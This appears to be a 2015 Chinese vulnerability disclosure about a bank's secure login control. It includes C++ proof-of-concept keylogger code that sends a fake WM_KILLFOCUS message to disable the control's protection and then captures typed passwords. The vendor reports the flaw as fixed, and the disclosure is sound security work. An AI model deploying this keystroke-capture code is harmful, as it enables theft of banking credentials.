2015-04-03: 细节已通知厂商并且等待厂商处理中 2015-04-06: 厂商已经确认,细节仅向厂商公开 2015-04-09: 细节向第三方安全合作伙伴开放 2015-05-31: 细节向核心白帽子及相关领域专家公开 2015-06-10: 细节向普通白帽子公开 2015-06-20: 细节向实习白帽子公开 2015-07-05: 细节向公众公开
安全登录控件的防御策略存在严重缺陷,其他程序无需特殊技术手段即可侦听到用户输入的用户名和密码。
https://pbnj.ebank.cmbchina.com目前的逻辑:在安全登录控件收到WM_SETFOCUS时,安装消息钩子、键盘钩子等截获用户输入,避免被其他程序监听,然后在收到WM_KILLFOCUS时卸载这些钩子,这时就不具备防御能力了。漏洞逻辑:恶意程序只要在安全控件获得焦点后,再向安全控件发送一个WM_KILLFOCUS消息,这时防御失效。通过普通的低级键盘钩子就可以拿到用户输入的字符,而且此时鼠标的输入焦点并不会从安全控件移开,不影响用户输入。监听后的效果:
HHOOK g_hk = NULL;TCHAR g_buff[100] = { 0 };int g_index = 0;LRESULT CALLBACK KeyHook(int nCode, WPARAM wp, LPARAM lp){ static DWORD a_other[] = { VK_CAPITAL, VK_LSHIFT, VK_RSHIFT, VK_LCONTROL, VK_RCONTROL, VK_LMENU, VK_RMENU, }; KBDLLHOOKSTRUCT* pLL = ((KBDLLHOOKSTRUCT*)lp); DWORD vk = pLL->vkCode; for(int i = 0; i < sizeof(a_other)/sizeof(*a_other); ++i) { if(vk == a_other[i]) { return CallNextHookEx(g_hk, nCode, wp, lp); } } if(nCode >= 0 && WM_KEYUP == (DWORD)wp) { POINT pt = { 0 }; GetCursorPos(&pt); HWND hwnd = WindowFromPoint(pt); if(hwnd) { hwnd = GetParent(GetParent(GetParent(hwnd))); TCHAR szTitle[1000] = { 0 }; SendMessage(hwnd, WM_GETTEXT, (WPARAM)1000, (LPARAM)szTitle); _tcslwr(szTitle); if(_tcsstr(szTitle, _T("https://pbnj.ebank.cmbchina.com"))) { TCHAR ch = (TCHAR)vk; if(vk >= VK_NUMPAD0 && vk <= VK_NUMPAD9) { ch = vk - 0x30; } else if('A' <= vk && 'Z' >= vk && 0 == LOBYTE(GetKeyState(VK_CAPITAL))) { ch = vk + ('a' - 'A'); } else if(vk >= 0x30 && vk <= 0x39 && (0x8000 & GetKeyState(VK_SHIFT))) { switch (vk) { case 0x32: ch = _T('@'); break; case 0x33: ch = _T('#'); break; case 0x34: ch = _T('$'); break; case 0x35: ch = _T('%'); break; case 0x36: ch = _T('^'); break; case 0x37: ch = _T('&'); break; case 0x38: ch = _T('*'); break; } } else if(VK_MULTIPLY == vk) { ch = _T('*'); } g_buff[g_index++] = ch; OutputDebugStringW(g_buff); } } } return CallNextHookEx(g_hk, nCode, wp, lp);}LRESULT CALLBACK MouseHook(int nCode, WPARAM wp, LPARAM lp){ if(!(nCode >= 0 && WM_LBUTTONUP == wp)) { return CallNextHookEx(NULL, nCode, wp, lp); } POINT pt = { 0 }; GetCursorPos(&pt); HWND hwnd = WindowFromPoint(pt); if(hwnd) { HWND hParent = GetParent(GetParent(GetParent(hwnd))); TCHAR szTitle[1000] = { 0 }; SendMessage(hParent, WM_GETTEXT, (WPARAM)1000, (LPARAM)szTitle); _tcslwr(szTitle); if(_tcsstr(szTitle, _T("https://pbnj.ebank.cmbchina.com"))) { SendMessage(hwnd, WM_KILLFOCUS, NULL, 0); if(g_hk) { UnhookWindowsHookEx(g_hk); g_hk = NULL; } g_hk = SetWindowsHookEx(WH_KEYBOARD_LL, KeyHook, GetModuleHandle(NULL), 0); } } return CallNextHookEx(NULL, nCode, wp, lp);}SetWindowsHookEx(WH_MOUSE_LL, MouseHook, GetModuleHandle(NULL), 0);
对WM_KILLFOCUS的处理要区分消息来源,是来自其他应用程序还是自身的消息循环,具体方法可以使用WH_CALLWNDPROC钩子,或者结合判断一下鼠标光标位置。
危害等级:中
漏洞Rank:9
确认时间:2015-04-06 16:18
该缺陷已修复,感谢您对我行网银安全的关注
暂无